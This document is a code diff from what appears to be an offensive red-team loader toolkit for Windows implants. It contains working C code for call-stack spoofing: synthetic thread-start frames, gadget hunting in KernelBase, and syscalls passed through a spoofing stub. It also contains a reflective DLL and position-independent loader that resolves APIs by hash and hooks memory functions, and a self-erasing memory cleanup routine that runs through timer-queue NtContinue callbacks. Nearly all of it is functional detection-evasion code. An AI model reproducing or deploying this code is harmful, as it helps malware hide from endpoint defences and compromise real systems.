UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE;
|
||||
|
||||
typedef struct {
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode [ 1 ];
|
||||
} UNWIND_INFO;
|
||||
|
||||
typedef struct {
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO;
|
||||
|
||||
typedef struct {
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID Gadget;
|
||||
} SYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct {
|
||||
FUNCTION_CALL * FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL;
|
||||
|
||||
typedef struct {
|
||||
PVOID Fixup;
|
||||
PVOID OriginalReturnAddress;
|
||||
PVOID Rbx;
|
||||
PVOID Rdi;
|
||||
PVOID BaseThreadInitThunkStackSize;
|
||||
PVOID BaseThreadInitThunkReturnAddress;
|
||||
PVOID TrampolineStackSize;
|
||||
PVOID RtlUserThreadStartStackSize;
|
||||
PVOID RtlUserThreadStartReturnAddress;
|
||||
PVOID Ssn;
|
||||
PVOID Trampoline;
|
||||
PVOID Rsi;
|
||||
PVOID R12;
|
||||
PVOID R13;
|
||||
PVOID R14;
|
||||
PVOID R15;
|
||||
} DRAUGR_PARAMETERS;
|
||||
|
||||
extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID );
|
||||
|
||||
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
|
||||
|
||||
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
|
||||
{
|
||||
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
|
||||
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
|
||||
|
||||
frame->Frame1.ModuleAddress = frame1_module;
|
||||
frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" );
|
||||
frame->Frame1.Offset = 0x17;
|
||||
|
||||
frame->Frame2.ModuleAddress = frame2_module;
|
||||
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
|
||||
frame->Frame2.Offset = 0x2c;
|
||||
|
||||
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
|
||||
}
|
||||
|
||||
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
|
||||
{
|
||||
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
|
||||
|
||||
if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew );
|
||||
|
||||
if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers );
|
||||
|
||||
for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ )
|
||||
{
|
||||
DWORD h = ror13hash ( ( char * ) section_header[ i ].Name );
|
||||
|
||||
if ( h == TEXT_HASH )
|
||||
{
|
||||
*virtual_address = section_header[ i ].VirtualAddress;
|
||||
*size = section_header[ i ].SizeOfRawData;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base )
|
||||
{
|
||||
UNWIND_INFO * unwind_info = NULL;
|
||||
ULONG unwind_operation = 0;
|
||||
ULONG operation_info = 0;
|
||||
ULONG index = 0;
|
||||
ULONG frame_offset = 0;
|
||||
|
||||
STACK_FRAME stack_frame = { 0 };
|
||||
|
||||
if ( ! runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base );
|
||||
|
||||
while ( index < unwind_info->CountOfCodes )
|
||||
{
|
||||
unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp;
|
||||
operation_info = unwind_info->UnwindCode[ index ].OpInfo;
|
||||
|
||||
/* don't use switch as it produces jump tables */
|
||||
if ( unwind_operation == UWOP_PUSH_NONVOL )
|
||||
{
|
||||
stack_frame.TotalStackSize += 8;
|
||||
|
||||
if ( operation_info == RBP_OP_INFO )
|
||||
{
|
||||
stack_frame.PushRbp = TRUE;
|
||||
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
|
||||
stack_frame.PushRbpIndex = index + 1;
|
||||
}
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_NONVOL )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_SMALL )
|
||||
{
|
||||
stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 );
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_LARGE )
|
||||
{
|
||||
index += 1;
|
||||
frame_offset = unwind_info->UnwindCode[ index ].FrameOffset;
|
||||
|
||||
if (operation_info == 0)
|
||||
{
|
||||
frame_offset *= 8;
|
||||
}
|
||||
else
|
||||
{
|
||||
index += 1;
|
||||
frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += frame_offset;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SET_FPREG )
|
||||
{
|
||||
stack_frame.SetsFramePointer = TRUE;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_XMM128 )
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) )
|
||||
{
|
||||
index = unwind_info->CountOfCodes;
|
||||
|
||||
if ( 0 != ( index & 1 ) )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
|
||||
runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] );
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += 8;
|
||||
return ( PVOID ) ( stack_frame.TotalStackSize );
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size_wrapper ( PVOID return_address )
|
||||
{
|
||||
RUNTIME_FUNCTION * runtime_function = NULL;
|
||||
DWORD64 image_base = 0;
|
||||
PUNWIND_HISTORY_TABLE history_table = NULL;
|
||||
|
||||
if ( ! return_address ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table );
|
||||
|
||||
if ( NULL == runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
PVOID find_gadget( PVOID module )
|
||||
{
|
||||
BOOL found_gadgets = FALSE;
|
||||
DWORD text_section_size = 0;
|
||||
DWORD text_section_va = 0;
|
||||
DWORD counter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG random = 0;
|
||||
PVOID module_text_section = NULL;
|
||||
|
||||
PVOID gadget_list [ 15 ] = { 0 };
|
||||
|
||||
if ( ! found_gadgets )
|
||||
{
|
||||
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
|
||||
|
||||
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
|
||||
{
|
||||
/* x64 opcodes are ff 23 */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
|
||||
{
|
||||
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
|
||||
counter++;
|
||||
|
||||
if ( counter == 15 ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
random = NTDLL$RtlRandomEx ( &seed );
|
||||
random %= counter;
|
||||
|
||||
return gadget_list [ random ];
|
||||
}
|
||||
|
||||
ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 )
|
||||
{
|
||||
int attempts = 0;
|
||||
PVOID return_address = NULL;
|
||||
|
||||
DRAUGR_PARAMETERS draugr_params = { 0 };
|
||||
|
||||
if ( ssn ) {
|
||||
draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn;
|
||||
}
|
||||
|
||||
SYNTHETIC_STACK_FRAME frame;
|
||||
init_frame_info ( &frame );
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
|
||||
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset );
|
||||
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.RtlUserThreadStartReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
draugr_params.Trampoline = find_gadget ( frame.Gadget );
|
||||
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
|
||||
|
||||
attempts++;
|
||||
|
||||
if ( attempts > 15 ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
} while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) );
|
||||
|
||||
if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 );
|
||||
}
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call )
|
||||
{
|
||||
/* very inelegant */
|
||||
if ( call->argc == 0 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 1 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 2 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 3 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 4 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 5 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 6 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 7 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 8 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 9 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL );
|
||||
} else if ( call->argc == 10 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL );
|
||||
} else if ( call->argc == 11 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL );
|
||||
} else if ( call->argc == 12 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) );
|
||||
} else {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
#define spoof_arg(x) ( ULONG_PTR ) ( x )
|
||||
|
||||
typedef struct {
|
||||
PVOID ptr;
|
||||
DWORD ssn;
|
||||
int argc;
|
||||
ULONG_PTR args[10];
|
||||
} FUNCTION_CALL;
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
|
||||
@@ -1,102 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
// used by both the Pico Loader and DLL loader
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
|
||||
FARPROC __resolve_hook(DWORD funcHash);
|
||||
|
||||
/*
|
||||
* Structs used by our DLL loader
|
||||
*/
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
typedef struct {
|
||||
IMAGE_DOS_HEADER * DosHeader;
|
||||
IMAGE_NT_HEADERS * NtHeaders;
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
/*
|
||||
* utility functions
|
||||
*/
|
||||
DWORD adler32sum(unsigned char * buffer, DWORD length);
|
||||
DWORD ror13hash(const char * c);
|
||||
|
||||
/*
|
||||
* printf-style debugging.
|
||||
*/
|
||||
void dprintf(char * format, ...);
|
||||
|
||||
/*
|
||||
* PICO running functions
|
||||
*/
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
|
||||
int PicoCodeSize(char * src);
|
||||
int PicoDataSize(char * src);
|
||||
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
|
||||
|
||||
/*
|
||||
* Resolve functions by walking the export address table
|
||||
*/
|
||||
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
|
||||
HANDLE findModuleByHash(DWORD moduleHash);
|
||||
|
||||
/*
|
||||
* DLL parsing and loading functions
|
||||
*/
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
|
||||
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst);
|
||||
void LoadSections(DLLDATA * dll, char * src, char * dst);
|
||||
void ParseDLL(char * src, DLLDATA * data);
|
||||
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
|
||||
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
|
||||
DWORD SizeOfDLL(DLLDATA * data);
|
||||
|
||||
/*
|
||||
* A macro to figure out our caller
|
||||
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||
*/
|
||||
#ifdef __MINGW32__
|
||||
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
|
||||
#else
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define WIN_GET_CALLER() _ReturnAddress()
|
||||
#endif
|
||||
@@ -2,9 +2,14 @@ x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize +disco
|
||||
|
||||
# merge pic services
|
||||
run "services.spec"
|
||||
# merge services
|
||||
load "bin/services.x64.o"
|
||||
merge
|
||||
|
||||
dfr "patch_resolve" "strings"
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
# patch smart pointers in
|
||||
patch "get_module_handle" $GMH
|
||||
patch "get_proc_address" $GPA
|
||||
|
||||
@@ -18,16 +23,13 @@ x64:
|
||||
|
||||
# load the stack spoofing assembly
|
||||
load "bin/draugr.x64.bin"
|
||||
# link is ok here because loader
|
||||
# will be in RX or RWX memory
|
||||
link "draugr_stub"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
# hook functions that the loader uses
|
||||
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
||||
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
preserve "KERNEL32$LoadLibraryA" "init_frame_info"
|
||||
|
||||
# mask & link the dll
|
||||
generate $MASK 128
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
x64:
|
||||
load "bin/services.x64.o"
|
||||
merge
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
dfr "resolve" "strings"
|
||||
@@ -5,11 +5,11 @@
|
||||
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
@@ -53,10 +53,12 @@ void cleanup_memory ( MEMORY_LAYOUT * memory )
|
||||
|
||||
if ( ctx.Rip != 0 )
|
||||
{
|
||||
HANDLE heap = KERNEL32$GetProcessHeap ( );
|
||||
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 );
|
||||
#define CTX_COUNT 3
|
||||
|
||||
for ( int i = 0; i < 2; i++ ) {
|
||||
HANDLE heap = KERNEL32$GetProcessHeap ( );
|
||||
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * CTX_COUNT );
|
||||
|
||||
for ( int i = 0; i < CTX_COUNT; i++ ) {
|
||||
memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) );
|
||||
}
|
||||
|
||||
@@ -72,16 +74,24 @@ void cleanup_memory ( MEMORY_LAYOUT * memory )
|
||||
ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* this pico */
|
||||
/* pico code */
|
||||
ctx_free[ 1 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress );
|
||||
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.Code );
|
||||
ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* pico data */
|
||||
ctx_free[ 2 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 2 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 2 ].Rcx = ( DWORD64 ) ( memory->Pico.Data );
|
||||
ctx_free[ 2 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 2 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* give a decent delay so ExitThread has time to be called */
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 2 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
}
|
||||
}
|
||||
}
|
||||
+15
-21
@@ -17,7 +17,7 @@ int __tag_setup_memory ( );
|
||||
typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs );
|
||||
typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout );
|
||||
|
||||
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region )
|
||||
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, DLL_MEMORY * dll_memory )
|
||||
{
|
||||
DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * section_hdr = NULL;
|
||||
@@ -59,14 +59,16 @@ void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REG
|
||||
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
|
||||
|
||||
/* track memory */
|
||||
region->Sections[ i ].BaseAddress = section_dst;
|
||||
region->Sections[ i ].Size = section_size;
|
||||
region->Sections[ i ].CurrentProtect = new_protect;
|
||||
region->Sections[ i ].PreviousProtect = new_protect;
|
||||
dll_memory->Sections[ i ].BaseAddress = section_dst;
|
||||
dll_memory->Sections[ i ].Size = section_size;
|
||||
dll_memory->Sections[ i ].CurrentProtect = new_protect;
|
||||
dll_memory->Sections[ i ].PreviousProtect = new_protect;
|
||||
|
||||
/* advance to section */
|
||||
section_hdr++;
|
||||
}
|
||||
|
||||
dll_memory->Count = section_count;
|
||||
}
|
||||
|
||||
void go ( void * loader_arguments )
|
||||
@@ -80,32 +82,24 @@ void go ( void * loader_arguments )
|
||||
char * pico_src = GETRESOURCE ( _PICO_ );
|
||||
|
||||
/* allocate memory for it */
|
||||
PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
